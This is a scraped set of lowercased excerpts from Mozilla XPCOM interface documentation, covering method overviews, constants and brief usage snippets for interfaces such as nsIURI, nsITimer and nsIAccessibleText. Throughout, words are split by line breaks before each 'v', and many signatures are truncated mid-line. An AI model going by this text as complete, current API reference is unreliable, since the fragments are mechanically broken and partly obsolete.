there are a number of components pro
vided in the standard implementation of xpcom; these are as follows.
... nscategorymanagerthe xpcom category manager.nsdirectoryser
vicethe xpcom directory ser
vice.
... this ser
vice returns the locations of "well known" directories in an os-independent manner.
... nsobserverser
vicethe xpcom observer ser
vice.nsscriptableinputstreama component implementing nsiscriptableinputstream.
IAccessibleAction
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) every accessible object that can be manipulated
via the native gui beyond the methods available either in the msaa iaccessible interface or in the set of iaccessible2 interfaces (other than this iaccessibleaction interface) should support the iaccessibleaction interface in order to pro
vide assistive technology access to all the actions that can be performed by the object.
...by pro
viding actions directly, the at can present them to the user without the user ha
ving to perform the extra steps to na
vigate a context menu.
...method over
view [propget] hresult description([in] long actionindex, [out] bstr description ); hresult doaction([in] long actionindex ); [propget] hresult keybinding([in] long actionindex, [in] long nmaxbindings, [out, size_is(,nmaxbindings), length_is(, nbindings)] bstr keybindings, [out] long nbindings ); [propget] hresult localizedname([in] long actionindex, [out] bstr localizedname ); hresult nactions([out,retval] long nactions ); [propget] hresult name([in] long actionindex, [out] bstr name ); methods description() returns a description of the specified action of the object.
...an at such as an on screen keyboard might not expose these bindings but pro
vide alternative means of activation.
imgIDecoderObserver
image/public/imgidecoderobserver.idlscriptable this interface is used both for obser
ving imgidecoder objects and for obser
ving imgirequest objects.
...if an image is decoded on load and not
visibly discarded, decode notifications are nested logically inside load notifications as one might expect.
...method over
view void ondataavailable(in imgirequest arequest, in boolean acurrentframe, [const] in nsintrect arect); native code only!
...this will be re
visited in bug 505385.
jsdIStackFrame
js/jsd/idl/jsdidebuggerser
vice.idlscriptable please add a summary to this article.
...see the version_* consts on jsdidebuggerser
vice.
...after you return from that handler the bottom frame, and any frame you found attached through it, are invalidated
via the jsdiephemeral interface.
...method over
view boolean eval(in astring bytes, in autf8string filename, in unsigned long line, out jsdivalue result); attributes attribute type description callee jsdivalue function object running in this stack frame.
mozISpellCheckingEngine
extensions can use this interface to check spelling or pro
vide its own spell checker to editors.
... method over
view void adddirectory(in nsifile dir); boolean check(in wstring word); void getdictionarylist([array, size_is(count)] out wstring dictionaries, out pruint32 count); void removedirectory(in nsifile dir); void suggest(in wstring word,[array, size_is(count)] out wstring suggestions, out pruint32 count); attributes attribute type description copyright wstring a string indicating the copyright of the engine.
... pro
videspersonaldictionary boolean does the engine pro
vide its own personaldictionary?
... pro
videswordutils boolean does the engine pro
vide its own word utilities?
nsIAccessibleEvent
event_
visible_data_changed 0x0039 0x0035 a
visible data event indicates the change of the
visual appearance of an accessible object.
... this includes for example most of the attributes available
via the iaccessiblecomponent interface.
... event_dialogstart 0x0010 event_dialogend 0x0011 event_scrollingstart 0x0012 event_scrollingend 0x0013 event_minimizestart 0x0016 event_minimizeend 0x0017 event_atk_property_change 0x0100 event_atk_selection_change 0x0101 event_atk_text_change 0x0102 event_atk_text_selection_change 0x0103 event_atk_text_caret_move 0x0104 event_atk_
visible_data_change 0x0105 event_atk_table_model_change 0x0110 event_atk_table_row_insert 0x0111 event_atk_table_row_delete 0x0112 event_atk_table_row_reorder 0x0113 event_atk_table_column_insert 0x0114 event_atk_table_column_delete 0x0115 event_atk_table_column_reorder 0x0116 event_atk_link_selected 0x0117 event_atk_window_activate 0x0118 ...
... example to listen to in-process accessibility invents, make your object an nsiobserver, and listen for accessible-event by using code something like this: nscomptr<nsiobserverser
vice> observerser
vice = do_getser
vice("@mozilla.org/observer-ser
vice;1", &rv); if (ns_succeeded(rv)) { rv = observerser
vice->addobserver(this, "accessible-event", pr_true); } ...
nsIAccessibleText
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method over
view void addselection(in long startoffset, in long endoffset); nsiaccessible getattributerange(in long offset, out long rangestartoffset, out long rangeendoffset); obsolete since gecko 1.9.1 wchar getcharacteratoffset(in long offset); void getcharacterextents(in long offset, out long x, out long y, out long width, out long height, in unsigned long coordtype); long getoffsetatpoint(in long x, in long y, in unsigned long coordtype); void getrangeextents(in long startoffset, in long endoffset, out long x, out long y, out long width, out long height, in unsigned long c...
...the
virtual character after the last character of the represented text, that is the one at position length is a special case.
...getrangeextents() the
virtual character after the last character of the represented text, that is the one at position length is a special case.
...astring gettextbeforeoffset( in long offset, in nsaccessibletextboundary boundarytype, out long startoffset, out long endoffset ); parameters offset boundarytype startoffset endoffset return value removeselection() void removeselection( in long selectionnum ); parameters selectionnum scrollsubstringto() makes a specific part of string
visible on screen.
nsIArray
pro
vides basic functionality for retrie
ving elements at a specific position, searching for elements.
...neither interface makes any attempt to protect the indi
vidual elements from modification.
...it is also convention that if an interface pro
vides access to an nsiarray, that the array should not be queryinterfaced to an nsimutablearray for modification.
...method over
view nsisimpleenumerator enumerate(); unsigned long indexof(in unsigned long startindex, in nsisupports element); void queryelementat(in unsigned long index, in nsiidref uuid, [iid_is(uuid), retval] out nsqiresult result); attributes attribute type description length unsigned long the number of elements in the array.
nsIAuthModule
netwerk/base/public/nsiauthmodule.idlscriptable this interface is intended to be used as server and client authentication ser
vice.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void getnexttoken([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void init(in string aser
vicename, in unsigned long aser
viceflags, in wstring adomain, in wstring ausername, in wstring apassword); void unwrap([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void wrap([const] in voidptr aintoken, in unsigned long aintokenlength, in boolean confidential, out voidptr aouttoken, out unsigned long aouttokenlength); constants constant value description req_default 0 default beha
vior.
...void init( in string aser
vicename, in unsigned long aser
viceflags, in wstring adomain, in wstring ausername, in wstring apassword ); parameters aser
vicename the ser
vice name, which may be null if not applicable (for example, for ntlm, this parameter should be null).
... aser
viceflags a bitwise-or of the req_ constants (pass req_default for default beha
vior).
nsIAuthPrompt2
to create an instance, use: var authprompt2 = components.classes["@mozilla.org/login-manager/prompter;1"] .createinstance(components.interfaces.nsiauthprompt2); method over
view nsicancelable asyncpromptauth(in nsichannel achannel, in nsiauthpromptcallback acallback, in nsisupports acontext, in pruint32 level, in nsiauthinformation authinfo); boolean promptauth(in nsichannel achannel, in pruint32 level, in nsiauthinformation authinfo); constants constant value description level_none 0 the password will be sent un...
...no security pro
vided.
...calling nsicancelable.cancel() on the returned object should close the dialog and must call nsiauthpromptcallback.onauthcancelled() on the pro
vided callback.
... return value false, authentication should be cancelled, usually because the user did not pro
vide username/password.
nsIAutoCompleteSearch
toolkit/components/autocomplete/nsiautocompletesearch.idlscriptable this interface is implemented by search pro
viders to start and stop autocomplete.
...method over
view void startsearch(in astring searchstring, in astring searchparam, in nsiautocompleteresult pre
viousresult, in nsiautocompleteobserver listener); void stopsearch(); methods startsearch() search for a given string and notify a listener (either synchronously or asynchronously) of the result.
... void startsearch( in astring searchstring, in astring searchparam, in nsiautocompleteresult pre
viousresult, in nsiautocompleteobserver listener ); parameters searchstring the string to search for.
...pre
viousresult the pre
vious nsiautocompleteresult to use for faster searching.
nsIBoxObject
method over
view wstring getlookandfeelmetric(in wstring propertyname); obsolete since gecko 1.9 wstring getproperty(in wstring propertyname); nsisupports getpropertyassupports(in wstring propertyname); void removeproperty(in wstring propertyname); void setproperty(in wstring propertyname, in wstring propertyvalue); void setpropertyassupports(in wstring propertyname, in nsisupports value); attributes attribute type description element nsidomelement read only.
... pre
vioussibling nsidomelement the pre
vious sibling of the box, in box-ordinal-group order.
... screenx long the x coordinate of the box relative to the screen origin, in de
vice pixels.
... screeny long the y coordinate of the box relative to the screen origin, in de
vice pixels.
nsICacheEntryInfo
netwerk/cache/nsicache
visitor.idlscriptable this interface pro
vides information about a cache entry.
... inherits from: nsisupports last changed in gecko 1.7 method over
view boolean isstreambased(); attributes attribute type description clientid string get the client id associated with this cache entry.
... de
viceid string get the id for the de
vice that stores this cache entry.
...see also nsicache nsicache
visitor ...
nsICookieManager
an optional interface for accessing or remo
ving the cookies that are in the cookie list.
... last changed in gecko 1.7 inherits from: nsisupports this interface is intended to be used as a ser
vice.
... it is implemented by the @mozilla.org/cookiemanager;1 component, but should generally be accessed
via ser
vices.cookies method over
view void remove(in autf8string ahost, in acstring aname, in autf8string apath, in boolean ablocked, in jsval aoriginattributes); void removeall(); attributes attribute type description enumerator nsisimpleenumerator called to enumerate through each cookie in the cookie list.
... methods remove() this method is called to remove an indi
vidual cookie from the cookie list, specified by host, name, and path.
nsIDOMElement
inherits from: nsidomnode last changed in gecko 1.7 method over
view domstring getattribute(in domstring name); nsidomattr getattributenode(in domstring name); nsidomattr getattributenodens(in domstring namespaceuri, in domstring localname); domstring getattributens(in domstring namespaceuri, in domstring localname); nsidomnodelist getelementsbytagname(in domstring name); nsidomnodelist getelementsbytagnamens(in domstring namespaceuri, in domstring localname); boolean hasattribute(in domstring name); boolean hasattributens(in domstring namespaceuri, in domstring localname); void removeattribute(in domstring name) nsidomattr removeattributenode(i...
...void removeattribute( in domstring name ); parameters name attribute name removeattributenode() remove an attribute, gi
ving the attribute node.
...void setattribute( in domstring name, in domstring value ); parameters name attribute name value attribute new value setattributenode() set an attribute, gi
ving the attribute node.
...setattributenodens() set an attribute, gi
ving the attribute node.
nsIDOMGeoPositionCoords
zero if the de
vice doesn't support altitude detection.
...zero if the de
vice doesn't support altitude detection.
... heading double the current heading at which the user is mo
ving, in degrees.
... speed double the speed at which the user is mo
ving, in meters per second (confirm this).
nsIDOMHTMLAudioElement
last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsidomhtmlmediaelement method over
view unsigned long long mozcurrentsampleoffset(); void mozsetup(in pruint32 channels, in pruint32 rate); [implicit_jscontext] unsigned long mozwriteaudio(in jsval data); methods mozcurrentsampleoffset() non-standard this feature is non-standard and is not on a standards track.
...there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...ns_error_dom_index_size_err the number of samples specified doesn't di
vide evenly across the number of channels; you must pro
vide exactly the same number of samples for all channels.
nsIDOMOfflineResourceList
the nsidomofflineresourcelist interface pro
vides access to the application cache that allows web content's resources to be cached locally for use while offline.
... it includes methods for adding resources to and remo
ving resources from the cache, as well as for enumerating the dynamically managed resource list.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method over
view void mozadd(in domstring uri); boolean mozhasitem(in domstring uri); domstring mozitem(in unsigned long index); void mozremove(in domstring uri); void swapcache(); void update(); attributes attribute type description mozitems nsidomofflineresourcelist the list of dynamically-managed entries in the offline resource list.
... see also offline resources in firefox nsiapplicationcache nsiapplicationcachecontainer nsiapplicationcacheser
vice nsiapplicationcachechannel nsiapplicationcachenamespace ...
nsIDebug
xpcom/base/nsidebug.idlscriptable pro
vides debugging support for scripted languages, such as javascript, java, python, perl, and so forth.
...method over
view void abort(in string afile, in long aline); void assertion(in string astr, in string aexpr, in string afile, in long aline); void break(in string afile, in long aline); void warning(in string astr, in string afile, in long aline); methods abort() requests the process to trigger a fatal abort.
... assertion() shows an assertion and triggers optional beha
vior based on the xpcom_debug_break en
vironment variable, defaulting to calling break() on windows and os/2 and warning on other platforms.
...however, on windows a dialog is first presented gi
ving the user the option of aborting, breaking, or ignoring the request.
nsIDocumentLoader
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/docloaderser
vice;1.
... to create an instance, use: var documentloader = components.classes["@mozilla.org/docloaderser
vice;1"] .createinstance(components.interfaces.nsidocumentloader); method over
view void clearparentdocloader(); obsolete since gecko 1.8 void createdocumentloader(out nsidocumentloader aninstance); obsolete since gecko 1.8 void destroy(); obsolete since gecko 1.8 void fireonlocationchange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri auri); obsolete since gecko 1.8 void fireonstatuschange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage); obsolete since gecko 1.8 void getcontent
viewercontainer(in nsisupports adocumentid, out nsicontent
viewercontainer aresul...
...uest auri fireonstatuschange() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) void fireonstatuschange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage ); parameters awebprogress arequest astatus amessage native code only!getcontent
viewercontainer obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete.
...void getcontent
viewercontainer( in nsisupports adocumentid, out nsicontent
viewercontainer aresult ); parameters adocumentid aresult getloadgroup() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) nsiloadgroup getloadgroup(); parameters none.
nsIFocusManager
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) implemented by: @mozilla.org/focus-manager;1 as a ser
vice: var focusmanager = components.classes["@mozilla.org/focus-manager;1"] .getser
vice(components.interfaces.nsifocusmanager); method over
view void clearfocus(in nsidomwindow awindow); void contentremoved(in nsidocument adocument, in nsicontent aelement); native code only!
... constants constant value description flag_raise 1 flag_noscroll 2 do not scroll the element to focus into
view.
... movefocus_backwarddoc 4 move focus forward to the pre
vious frame document, used when pressing shift+f6.
...this has the result of retrie
ving the method that was used to focus the currently focused element.
nsIFrameLoader
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this interface works in tandem with the nsicontent
view interface to manage frames across processes if electrolysis is in use to support per-frame processes.
... method over
view void activateframeevent(in astring atype, in boolean capture); void activateremoteframe(); void destroy(); void loadframe(); void loaduri(in nsiuri auri); void sendcrossprocesskeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); void sendcrossprocessmouseevent(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodifiers, [optional] in boolean aignorerootscrollframe); void updatepositionandsize(in nsiframe aiframe); native code only!
... sendcrossprocesskeyevent() creates and sends a keyevent to the content
viewport's process.
... sendcrossprocessmouseevent() creates and sends a mouseevent to the content
viewport's process.
nsIGeolocationUpdate
xpcom/system/nsigeolocationpro
vider.idlscriptable pro
vides a way for a geolocation pro
vider to notify the system that a new location is available.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) interface pro
vides a way for a geolocation pro
vider to notify the system that a new location is available.
... method over
view void update(in nsidomgeoposition position); methods update() notify the geolocation ser
vice that a new geolocation has been discovered.
... see also using geolocation nsigeolocationpro
vider w3c geolocation specification ...
nsIHTMLEditor
inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) method over
view void adddefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void addinsertionlistener(in nsicontentfilter infilter); void align(in astring aalign); boolean breakis
visible(in nsidomnode anode); boolean candrag(in nsidomevent aevent); void checkselectionstateforanonymousbuttons(in nsiselection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astrin...
... void align( in astring aalign ); parameters aalign breakis
visible() checks whether a br node is
visible to the user.
... boolean breakis
visible( in nsidomnode anode ); parameters anode return value candrag() decides if a drag should be started (for example, based on the current selection and mousepoint).
... void setparagraphformat( in astring aparagraphformat ); parameters aparagraphformat "p", "h1" to "h6", "address", "pre", or "blockquote" updatebaseurl() set the baseurl for the document to the current url but only if the page doesn't have a <base> tag this should be done after the document url has changed, such as after sa
ving a file this is used as base for relati
vizing link and image urls.
nsIJSCID
js/src/xpconnect/idl/xpcjsid.idlscriptable this interface pro
vides methods to instantiate a component and access ser
vice components.
... inherits from: nsijsid last changed in gecko 1.7 method over
view nsisupports createinstance(); nsisupports getser
vice(); methods createinstance() nsisupports createinstance(); parameters none.
... return value getser
vice() nsisupports getser
vice(); parameters none.
... return value see also see components.classes for usage patterns of the createinstance() and getser
vice() methods.
nsIMutableArray
xpcom/ds/nsimutablearray.idlscriptable this interface is a subclass of nsiarray that pro
vides arrays that are mutable; that is, they can be altered programmatically.
...method over
view void appendelement(in nsisupports element, in boolean weak); void clear(); void insertelementat(in nsisupports element, in unsigned long index, in boolean weak); void removeelementat(in unsigned long index); void replaceelementat(in nsisupports element, in unsigned long index, in boolean weak); methods appendelement() append an element at the ...
...insertelementat() insert an element at the given position, mo
ving the element currently located in that position, and all elements in higher position, up by one.
... removeelementat() remove an element at a specific position, mo
ving all elements stored at a higher position down one.
nsIOutputStream
method over
view void close(); void flush(); boolean isnonblocking(); unsigned long write(in string abuf, in unsigned long acount); unsigned long writefrom(in nsiinputstream afromstream, in unsigned long acount); unsigned long writesegments(in nsreadsegmentfun areader, in voidptr aclosure, in unsigned long acount); native code only!
... note: a non-blocking output stream may implement nsiasyncoutputstream to pro
vide consumers with a way to wait for the stream to accept more data once its write() method is unable to accept any data without blocking.
...if this method was pro
vided as an external facility, a separate char* buffer would need to be used in order to call the output stream's other write() method.
...this method should not call the reader with zero bytes to pro
vide.
nsIParserUtils
parser/html/nsiparserutils.idlscriptable pro
vides non-web html parsing functionality to firefox extensions and xulrunner applications.
... implemented by: @mozilla.org/parserutils;1 as a ser
vice: var parserutils = components.classes["@mozilla.org/parserutils;1"] .getser
vice(components.interfaces.nsiparserutils); method over
view astring converttoplaintext(in astring src, in unsigned long flags, in unsigned long wrapcol); nsidomdocumentfragment parsefragment(in astring fragment, in unsigned long flags, in boolean isxml, in nsiuri baseuri, in nsidomelement element); astring sanitize(in astring src, in unsigned l...
... sanitizerdropmedia (1 << 5) flag for sanitizer: drops <img>, <
video>, <audio>, and <source>, and flattens out svg.
... by default, the sanitizer doesn't try to avoid leaking information that the content was
viewed to third parties.
nsIPermissionManager
last changed in gecko 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) inherits from: nsisupports method over
view void add(in nsiuri uri, in string type, in pruint32 permission, [optional] in pruint32 expiretype, [optional] in print64 expiretime); void addfromprincipal(in nsiprincipal principal, in string type, in pruint32 permission, [optional] in pruint32 expiretype, [optional] in print64 expiretime); void remove(in autf8string host, in string type); void removefromprincipal(in nsiprinci...
...this must have been pre
viously registered using the add() method.
...this must have been pre
viously registered using the add() method.
... remarks this ser
vice broadcasts the following notification when the permission list is changed: topic : "perm-changed" (perm_change_notification) broadcast whenever the permission list changes in some way.
nsIPipe
inherits from: nsisupports last changed in gecko 1.6 method over
view void init(in boolean nonblockinginput, in boolean nonblockingoutput, in unsigned long segmentsize, in unsigned long segmentcount, in nsimemory segmentallocator); attributes attribute type description inputstream nsiasyncinputstream the pipe's input end, which also implements nsisearchableinputstream.
...void init( in boolean nonblockinginput, in boolean nonblockingoutput, in unsigned long segmentsize, in unsigned long segmentcount, in nsimemory segmentallocator ); parameters nonblockinginput true specifies non-blocking input stream beha
vior.
... nonblockingoutput true specifies non-blocking output stream beha
vior.
...ns_newpipe2() and ns_newpipe() pro
vide convenient pipe constructors for c++.
nsIPluginHost
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view nsifile createtempfiletopost(in string apostdataurl); native code only!
... void reloadplugins( in boolean reloadpages ); parameters reloadpages indicates whether currently
visible pages should also be reloaded.
...then using nsihandlerser
vice it gets the handler info.
... let pluginhost = cc["@mozilla.org/plugin/host;1"].getser
vice(ci.nsipluginhost); let handlerser
vice = cc['@mozilla.org/uriloader/handler-ser
vice;1'].getser
vice(ci.nsihandlerser
vice); let mimeser
vice = cc['@mozilla.org/mime;1'].getser
vice(ci.nsimimeser
vice); let plugintags = pluginhost.getplugintags(); for (let i = 0; i < plugintags.length; ++i) { let plugintag = plugintags[i]; let mimetypes = plugintag.getmimetypes(); console.warn('plugintag:', plugintag.name, 'mimetypes:', mimetypes); // go through all the mime types and get the handler ser
vice for (let j = 0; j < mimetypes.length; ++j) { let type = mimetypes[j]; let wrappedhandlerinfo = mimeser
vice.getfromtypeandextension(t...
nsIProfile
this interface was superseded by the nsitoolkitprofileser
vice interface in gecko 1.8.1.
...to get access to the profile manager ser
vice: var profile = components.classes["@mozilla.org/profile/manager;1"] .getser
vice(components.interfaces.nsiprofile); note: this interface was used by seamonkey up through seamonkey 1.1 versions, which were based off gecko 1.8.1.
...method over
view void cloneprofile(in wstring profilename); void createnewprofile(in wstring profilename, in wstring nativeprofiledir, in wstring langcode, in boolean useexistingdir); void deleteprofile(in wstring name, in boolean candeletefiles); void getprofilelist(out unsigned long length, [retval, array, size_is(length)] out wstring profilenames); boolean profileexists(in wstring profilename); void renameprofile(in wstring oldname, in wstring newname); void shutdowncurrentprofile(in unsigned long shutdowntype); attributes attribute type description currentprofile wstring the name of the profile currently in use.
... see also nsitoolkitprofileser
vice ...
nsIProgressEventSink
an implementation of this interface can be passed to a channel
via the channel's notificationcallbacks attribute.
...notifications will cease once the channel calls its listener's onstoprequest method or once the channel is canceled (
via nsirequest.cancel()).
...method over
view void onprogress(in nsirequest arequest, in nsisupports acontext, in unsigned long long aprogress, in unsigned long long aprogressmax); void onstatus(in nsirequest arequest, in nsisupports acontext, in nsresult astatus, in wstring astatusarg); methods onprogress() called to notify the event sink that progress has occurred for the given request.
... astatusarg status code argument to be used with the string bundle ser
vice to convert the status message into localized, human readable text.
nsIProtocolProxyCallback
netwerk/base/public/nsiprotocolproxycallback.idlscriptable this interface serves as a closure for nsiprotocolproxyser
vice.asyncresolve().
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void onproxyavailable(in nsicancelable arequest, in nsiuri auri, in nsiproxyinfo aproxyinfo, in nsresult astatus); methods onproxyavailable() this method is called when proxy info is available or when an error in the proxy resolution occurs.
...as with the result of nsiprotocolproxyser
vice's resolve method, a null result implies that a direct connection should be used.
... see also nsicancelable nsiuri nsiproxyinfo nsiprotocolproxyser
vice ...
nsIScreen
widget/nsiscreen.idlscriptable this interface pro
vides information about a display screen.
...implemented by: @mozilla.org/gfx/screenmanager;1 as a ser
vice: var screen = components.classes["@mozilla.org/gfx/screenmanager;1"] .getser
vice(components.interfaces.nsiscreen); method over
view void getavailrect(out long left, out long top, out long width, out long height); void getrect(out long left, out long top, out long width, out long height); void lockminimumbrightness(in unsigned long brightness); void unlockminimumbrightness(in unsigned long brightness); attributes attribute type description colordepth long the screen's color depth; this...
... unlockminimumbrightness() releases a lock on the minimum brightness of the screen, which was pre
viously established through a corresponding call to lockminimumbrightness().
... example var screenman = components.classes["@mozilla.org/gfx/screenmanager;1"] .getser
vice(components.interfaces.nsiscreenmanager); var left = {}, top = {}, width = {}, height = {}; screenman.primaryscreen.getrect(left, top, width, height); print([left.value, top.value, width.value, height.value]); see also nsiscreenmanager working with out parameters ...
nsISecurityCheckedComponent
caps/idl/nsisecuritycheckedcomponent.idlscriptable pro
vides methods that let an xpcom component define custom rules for accessing it from potentially unpri
vileged code.
...this interface is used in mozilla by xpconnect and a handful of things that need special handing (xul controllers, the ui for the <
video> tag, etc.).
... method over
view string cancallmethod(in nsiidptr iid, in wstring methodname); string cancreatewrapper(in nsiidptr iid); string cangetproperty(in nsiidptr iid, in wstring propertyname); string cansetproperty(in nsiidptr iid, in wstring propertyname); methods cancallmethod() returns a capability string indicating what permissions are required to call the specified method on the given interface.
... note that if wrapper creation is prevented, the properties and methods will not be defined on the javascript object, whereas if wrapper creation succeeds but methods/properties are prevented, the properties and methods will be
visible, not not usable.
nsIServerSocket
to create an instance, use: var serversocket = components.classes["@mozilla.org/network/server-socket;1"] .createinstance(components.interfaces.nsiserversocket); method over
view void init(in long aport, in boolean aloopbackonly, in long abacklog); void initwithaddress([const] in prnetaddrptr aaddr, in long abacklog);native code only!
...since a server socket may be bound to multiple network de
vices, this address may not necessarily be specific to a single network de
vice.
... in the case of an ip socket, the ip address field would be zeroed out to indicate a server socket bound to all network de
vices.
...see nsidnsser
vice.myhostname() if this is what you need.
nsISessionStartup
to use this ser
vice, use: var sessionstartup = components.classes["@mozilla.org/browser/sessionstartup;1"] .getser
vice(components.interfaces.nsisessionstartup); method over
view boolean dorestore(); attributes attribute type description sessiontype unsigned long the type of session being restored; this will be one of the session type constants.
... constants session type constants constant value description no_session 0 there's no data available from the pre
vious session.
... resume_session 2 the pre
vious session should be restored at startup.
... defer_session 3 the pre
vious session is
viable but shouldn't be restored without explicit action (with the exception of app tabs, which are always restored in this case).
nsISound
widget/public/nsisound.idlscriptable this interface pro
vides a way to play sounds.
...to use this interface, use: var sound = components.classes["@mozilla.org/sound;1"] .createinstance(components.interfaces.nsisound); method over
view void beep(); void init(); void play(in nsiurl aurl); void playeventsound(in unsigned long aeventid); void playsystemsound(in astring soundalias); constants sound event constants constant value description event_new_mail_received 0 the system receives em...
...void playsystemsound( in astring soundalias ); parameters soundalias two different types of names are supported: you can specify the name of a system sound pro
vided by the host operating system; for example, if you specify "systemexclamation", you can play the windows alert sound, but it's played only on windows.
...various event names are pro
vided, which will result in playing the corresponding sound effect on the platform the user is running on: _moz_mailbeep the system sound when the system receives email.
nsISpeculativeConnect
netwerk/base/public/nsispeculativeconnect.idlscriptable lets non-networking code pro
vide hints to the networking layer that an http connection attempt to a particular site is likely to happen soon; this lets the networking layer begin setting up tcp and, if appropriate, ssl handshakes to save time when the connection is actually opened later.
... 1.0 66 introduced gecko 15.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) to use this ser
vice, simply call nsisupports.queryinterface() on the nsiioser
vice you plan to use for the connection, to get access to the i/o ser
vice's implementation of nsispeculativeconnect.
...method over
view void speculativeconnect(in nsiuri auri, in nsiinterfacerequestor acallbacks, in nsieventtarget atarget); methods speculativeconnect() call this method to hint to the networking layer that a new transaction for the specified uri is likely to happen soon.
... see also nsiioser
vice blog post: making firefox search snappier ...
nsIStringBundle
intl/strres/nsistringbundle.idlscriptable this interface pro
vides functions for retrie
ving both formatted and unformatted strings from a properties file.
...alternatively, a string bundle can be created within a javascript context with nsistringbundleser
vice.
... method over
view wstring formatstringfromid(in long aid, [array, size_is(length)] in wstring params, in unsigned long length); wstring formatstringfromname(in wstring aname, [array, size_is(length)] in wstring params, in unsigned long length); nsisimpleenumerator getsimpleenumeration(); wstring getstringfromid(in long aid); wstring getstringfromname(in wstring aname); methods formatstringfromid() returns a formatted string with the given id from the string bundle, where each occurrence of %s (uppercase) is replaced by each successive element in the supplied array.
... see also xul:stringbundle xul tutorial:property files nsistringbundleser
vice ...
nsITimer
method over
view void cancel(); void init(in nsiobserver aobserver, in unsigned long adelay, in unsigned long atype); void initwithcallback(in nsitimercallback acallback, in unsigned long adelay, in unsigned long atype); void initwithfunccallback(in nstimercallbackfunc acallback, in voidptr aclosure, in unsigned long adelay, in unsigned long atype); native code only!
... however this timer type guarantees that it will not queue up new events to fire the callback until the pre
vious callback event finishes firing.
...this method works on all types, not just on repeating timers -- you might want to cancel a type_one_shot timer, and even reuse it by re-initializing it (to avoid object destruction and creation costs by conser
ving one timer instance).
...if the timer fires, the observer will be notified
via the nsiobserver interface.
nsIToolkitProfile
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) you should not create these objects yourself; to obtain them, use the nsitoolkitprofileser
vice interface to create and obtain them.
... method over
view nsiprofilelock lock(out nsiprofileunlocker aunlocker); void remove(in boolean removefiles); attributes attribute type description localdir nsilocalfile the location of the profile local directory, which may be the same as the root directory.
...the unlocker object is only available in gecko 34 or later when running on windows
vista or later.
... see also profile management nsitoolkitprofileser
vice nsiprofilelock nsiprofileunlocker ...
nsITransport
netwerk/base/public/nsitransport.idlscriptable this interface pro
vides a common way of accessing i/o streams connected to some resource.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface pro
vides methods to open blocking or non-blocking, buffered or unbuffered streams to the resource.
... the name "transport" is meant to connote the inherent data transfer implied by this interface (that is, data is being transfered in some fashion
via the streams exposed by this interface).
...method over
view void close(in nsresult areason); nsiinputstream openinputstream(in unsigned long aflags, in unsigned long asegmentsize, in unsigned long asegmentcount); nsioutputstream openoutputstream(in unsigned long aflags, in unsigned long asegmentsize, in unsigned long asegmentcount); void seteventsink(in nsitransporteventsink asink, in nsieventtarget aeventtarget); constants open flags.
nsIURI
to create an nsiuri object, you should use nsiioser
vice.newuri(), like this: function makeuri(aurl, aorigincharset, abaseuri) { var ioser
vice = components.classes["@mozilla.org/network/io-ser
vice;1"] .getser
vice(components.interfaces.nsiioser
vice); return ioser
vice.newuri(aurl, aorigincharset, abaseuri); } components of a uri prepath path scheme userpass host port ref ...
... ftp :// username@password @ hostname : portnumber /pathname?query=value #ref method over
view nsiuri clone(); nsiuri cloneignoringref(); boolean equals(in nsiuri other); boolean equalsexceptref(in nsiuri other); autf8string resolve(in autf8string relativepath); boolean schemeis(in string scheme); attributes attribute type description asciihost acstring the uri host with an ascii compatible encoding.
... if the uri stores information from the nsiioser
vice interface's nsiioser
vice.newuri() call that created it, other than just the parsed string, the beha
vior of this information when setting the spec attribute is undefined.
... note: this is an optimization, allowing you to check the scheme of the uri without ha
ving to get the scheme and do the comparison yourself; this saves memory allocations.
nsIWinAppHelper
toolkit/xre/nsiwinapphelper.idlscriptable used on windows only to do some work from a special process that gets created with elevated pri
vileges.
...to create an instance, use: var xulappinfo = components.classes["@mozilla.org/xre/app-info;1"] .getser
